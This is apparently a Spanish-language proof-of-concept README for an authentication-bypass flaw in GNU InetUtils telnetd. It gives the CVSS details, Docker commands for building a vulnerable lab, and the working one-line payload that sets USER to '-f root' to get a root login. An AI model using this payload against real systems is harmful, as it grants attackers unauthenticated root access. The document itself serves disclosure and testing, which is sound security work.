
Vulnerabilidad en GNU InetUtils telnetd Permite Acceso Root Remoto
Una vulnerabilidad de inyección de argumentos recientemente identificada en telnetd de GNU InetUtils permite a los atacantes eludir la autenticación estableciendo la variable de entorno USER al valor "-f root". Como resultado, un atacante remoto no autenticado puede obtener acceso a sistemas que ejecutan el servicio telnetd vulnerable y elevar privilegios a root. Si se explota con éxito, esta falla puede permitir a los atacantes acceder a información sensible, alterar la configuración del sistema y ejecutar comandos arbitrarios, lo que potencialmente resulta en un compromiso total del sistema.
| Detalle CVSS | CNA (MITRE) |
|---|
| Puntuación Base | 9.8 |
| Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Vector de Ataque | Red |
| Complejidad de Ataque | Baja |
| Privilegios Requeridos | Ninguno |
| Interacción del Usuario | Ninguna |
| Alcance | Sin cambios |
| Impacto de Confidencialidad | Alto |
| Impacto de Integridad | Alto |
| Impacto de Disponibilidad | Alto |
| Versión CVSSv3 | 3.1 |
Pudimos acceder al Commit a continuación de 2015 que muestra el cambio de código (línea 62) que creó esta vulnerabilidad.
El propósito de este readme es solo mostrar la ejecución del exploit, no cada paso que generó este CVE; sin embargo, la intención es sustituir el marcador de posición %U con el valor tomado de la variable de entorno USER. Esta variable de entorno en particular está controlada por el usuario y puede ser manipulada mediante el protocolo Telnet 🔥.
Para esta prueba, creé 2 contenedores usando imágenes de Docker Hub, con una versión vulnerable de InetUtils.
docker run --rm -it --name vuln -p 23:23 ubuntu:22.04 bash
apt update
apt install build-essential wget tar
wget http://ftp.gnu.org/gnu/inetutils/inetutils-2.5.tar.gz
tar -xvzf inetutils-2.5.tar.gz
cd inetutils-2.5
./configure
./configure --enable-telnet
make clean
make
make install
export PATH=$PATH:/usr/local/libexec
apt install openbsd-inetd
echo "telnet stream tcp nowait root /usr/local/libexec/telnetd telnetd" >> /etc/inetd.conf
service openbsd-inetd restart
docker run --rm -it --name attacker ubuntu bash
apt install telnet
Con el payload a continuación, reemplazamos la variable USER y eludimos el sistema de autenticación.
USER="-f root" telnet -a 172.17.0.3
Compruebe su versión de inetutils
hostname --version
telnetd --version
Hasta la próxima :wink: